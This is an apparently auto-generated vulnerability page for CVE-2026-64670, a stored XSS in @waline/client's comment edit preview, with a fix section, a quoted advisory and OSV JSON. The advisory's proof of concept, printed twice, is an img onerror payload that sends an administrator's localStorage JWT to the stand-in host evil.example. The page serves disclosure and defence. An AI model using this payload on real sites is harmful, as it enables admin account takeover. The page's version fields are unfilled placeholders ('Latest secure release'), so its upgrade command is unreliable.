CVE-2026-64670: @waline/client Cross-Site Scripting Vulnerability

CRITICAL
Advisory Identifier: GHSA-crj3-q72p-ggqm
CVSS 9.3
CWE-116 CWE-79
Published
Advisory Summary

CVE-2026-64670 is a CRITICAL (CVSS 9.3) cross-site scripting vulnerability (CWE-116: Improper Encoding or Escaping of Output) affecting @waline/client libraries in the npm ecosystem. The issue involves @waline/client vulnerable to stored xss through unsanitized comment edit previews. Remediation is available in the latest vendor maintenance releases.

CVE-2026-64670 at a Glance

CVE Identifier CVE-2026-64670
GHSA Identifier GHSA-crj3-q72p-ggqm
Severity CRITICAL
CVSS v3.1 Base Score 9.3
CWE Classification CWE-116: Improper Encoding or Escaping of Output
Affected Product @waline/client
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-64670

To remediate this vulnerability, upgrade all affected @waline/client dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@waline/client fixed: Latest secure release
npm install @waline/client@Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @waline/client

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-64670, inspect your project dependencies using npm:

npm ls @waline/client

Analyze the terminal output to locate any version of @waline/client in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The npm ls @waline/client command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-116: Improper Encoding or Escaping of Output, where the product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. as a result, the intended structure of the message is not preserved. In @waline/client, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `@waline/client` renders the comment editor's live preview with `marked` and no sanitizer (`utils/markdown.ts`), and the preview is injected with `v-html`. When a comment is edited, the editor is seeded with the comment's raw, un-sanitized body (`orig`). Only administrators and the comment owner can edit. So an administrator who clicks Edit on an attacker's comment renders that attacker's raw HTML in their own session: an unauthenticated commenter achieves privilege-escalation stored XSS against a moderator with a single Edit click. ### Details `packages/client/src/utils/markdown.ts:18-37` renders markdown with `marked` and returns the raw HTML with no sanitization (the client bundles no DOMPurify): ```ts return marked.parse(parseEmoji(content, emojiMap)) as string; ``` `packages/client/src/components/CommentBox.vue`: ```ts onMounted(() => { if (props.edit?.objectId) editor.value = props.edit.orig; // :509 raw comment body watchImmediate(() => editor.value, (value) => { previewText.value = parseMarkdown(value, { ... }); // :519 runs immediately on mount }); }); ``` ```html <div v-show="showPreview" class="wl-preview"> <!-- :616 v-show keeps the node in the DOM --> <div class="wl-content" v-html="previewText" /> <!-- :621 --> </div> ``` `watchImmediate` runs the callback synchronously at mount, so `previewText` is populated with the unsanitized render as soon as the box mounts in edit mode. `v-show` (not `v-if`) means the `v-html` node is present in the DOM (display:none), so an `<img onerror>` fires without the moderator ever opening the preview tab. The tainted value is the attacker's raw comment. `packages/server/src/controller/comment.js:41` sets `comment.orig = comment.comment` for any logged-in user before `:55` runs DOMPurify, so `orig` is the pre-sanitization body. `formatCmt` returns it to logged-in users, and `CommentCard.vue:104` shows the Edit button to admin or owner. ### Proof of concept 1. As an anonymous user, post a comment whose body is the payload below via `POST /api/comment`: ``` POST /api/comment { "url": "/any-post", "nick": "a", "comment": "<img src=x onerror=fetch('//evil.example/'+JSON.parse(localStorage.WALINE_USER).token)>" } ``` 2. On the public page the server sanitizes the display copy (markdown-it -> DOMPurify), so nothing fires for ordinary readers and the comment shows as a broken image. The raw body is stored in `orig`. 3. As an administrator or the comment owner, click Edit on that comment during normal moderation. 4. `CommentBox` mounts, seeds the editor with the raw `orig`, and `watchImmediate` immediately renders it through `parseMarkdown` (marked, no sanitizer) into the `v-html` preview node. Because the preview uses `v-show` (display:none), that node is already in the DOM without opening the preview tab, so `onerror` fires at once in the admin's session and exfiltrates their `localStorage` JWT. The server's own comment guard strips this same `<img onerror>` on the stored display copy, which is why the public listing is safe; the edit preview is the unguarded path. ### Impact The waline JWT is in same-origin `localStorage`, so the payload can read it, yielding full administrative account takeover. ### Suggested fix Sanitize `parseMarkdown`'s output with DOMPurify before returning it, mirroring the server guard: add `dompurify` to `@waline/client` and wrap the return in `DOMPurify.sanitize(..., { FORBID_TAGS: ['form','input','style'], FORBID_ATTR: ['autoplay','style'] })`.

CVE-2026-64670 Affected @waline/client Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
@waline/client
npm
≤ 3.16.2

References

Frequently Asked Questions

What is CVE-2026-64670?
CVE-2026-64670 is a security vulnerability in @waline/client involving @waline/client vulnerable to stored XSS through unsanitized comment edit previews under CWE-116: Improper Encoding or Escaping of Output.
Which @waline/client versions are affected?
Affected versions include releases prior to current release patches across affected packages: @waline/client.
What version fixes CVE-2026-64670?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is @waline/client affected?
Yes, @waline/client is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-64670?
CVE-2026-64670 has a CVSS v3.1 base score of 9.3 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N.
What CWE is associated with CVE-2026-64670?
CVE-2026-64670 is classified under CWE-116: Improper Encoding or Escaping of Output (The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.).
How can I check npm dependencies for CVE-2026-64670?
Run the dependency tree command: 'npm ls @waline/client'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-crj3-q72p-ggqm",
  "modified" : "2026-11-25T15:26:23Z",
  "published" : "2026-11-25T15:26:23Z",
  "aliases" : [ "CVE-2026-64670" ],
  "summary" : "@waline/client vulnerable to stored XSS through unsanitized comment edit previews",
  "details" : "### Summary\n\n`@waline/client` renders the comment editor's live preview with `marked` and no sanitizer (`utils/markdown.ts`), and the preview is injected with `v-html`.\n\nWhen a comment is edited, the editor is seeded with the comment's raw, un-sanitized body (`orig`).\n\nOnly administrators and the comment owner can edit. So an administrator who clicks Edit on an attacker's comment renders that attacker's raw HTML in their own session: an unauthenticated commenter achieves privilege-escalation stored XSS against a moderator with a single Edit click.\n\n### Details\n\n`packages/client/src/utils/markdown.ts:18-37` renders markdown with `marked` and returns the raw HTML with no sanitization (the client bundles no DOMPurify):\n\n```ts\nreturn marked.parse(parseEmoji(content, emojiMap)) as string;\n```\n\n`packages/client/src/components/CommentBox.vue`:\n\n```ts\nonMounted(() => {\n  if (props.edit?.objectId) editor.value = props.edit.orig; // :509  raw comment body\n  watchImmediate(() => editor.value, (value) => {\n    previewText.value = parseMarkdown(value, { ... });        // :519  runs immediately on mount\n  });\n});\n```\n\n```html\n<div v-show=\"showPreview\" class=\"wl-preview\">     <!-- :616  v-show keeps the node in the DOM -->\n  <div class=\"wl-content\" v-html=\"previewText\" /> <!-- :621 -->\n</div>\n```\n\n`watchImmediate` runs the callback synchronously at mount, so `previewText` is populated with the unsanitized render as soon as the box mounts in edit mode.\n\n`v-show` (not `v-if`) means the `v-html` node is present in the DOM (display:none), so an `<img onerror>` fires without the moderator ever opening the preview tab.\n\nThe tainted value is the attacker's raw comment. `packages/server/src/controller/comment.js:41` sets `comment.orig = comment.comment` for any logged-in user before `:55` runs DOMPurify, so `orig` is the pre-sanitization body. `formatCmt` returns it to logged-in users, and `CommentCard.vue:104` shows the Edit button to admin or owner.\n\n### Proof of concept\n\n1. As an anonymous user, post a comment whose body is the payload below via `POST /api/comment`:\n\n```\nPOST /api/comment\n{ \"url\": \"/any-post\", \"nick\": \"a\", \"comment\": \"<img src=x onerror=fetch('//evil.example/'+JSON.parse(localStorage.WALINE_USER).token)>\" }\n```\n\n2. On the public page the server sanitizes the display copy (markdown-it -> DOMPurify), so nothing fires for ordinary readers and the comment shows as a broken image. The raw body is stored in `orig`.\n\n3. As an administrator or the comment owner, click Edit on that comment during normal moderation.\n\n4. `CommentBox` mounts, seeds the editor with the raw `orig`, and `watchImmediate` immediately renders it through `parseMarkdown` (marked, no sanitizer) into the `v-html` preview node. Because the preview uses `v-show` (display:none), that node is already in the DOM without opening the preview tab, so `onerror` fires at once in the admin's session and exfiltrates their `localStorage` JWT.\n\nThe server's own comment guard strips this same `<img onerror>` on the stored display copy, which is why the public listing is safe; the edit preview is the unguarded path.\n\n### Impact\n\nThe waline JWT is in same-origin `localStorage`, so the payload can read it, yielding full administrative account takeover.\n\n### Suggested fix\n\nSanitize `parseMarkdown`'s output with DOMPurify before returning it, mirroring the server guard: add `dompurify` to `@waline/client` and wrap the return in `DOMPurify.sanitize(..., { FORBID_TAGS: ['form','input','style'], FORBID_ATTR: ['autoplay','style'] })`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@waline/client"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "3.16.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/walinejs/waline/security/advisories/GHSA-crj3-q72p-ggqm"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-64670"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/walinejs/waline"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-116", "CWE-79" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-11-25T15:26:23Z",
    "nvd_published_at" : "2026-11-11T05:19:51Z"
  }
}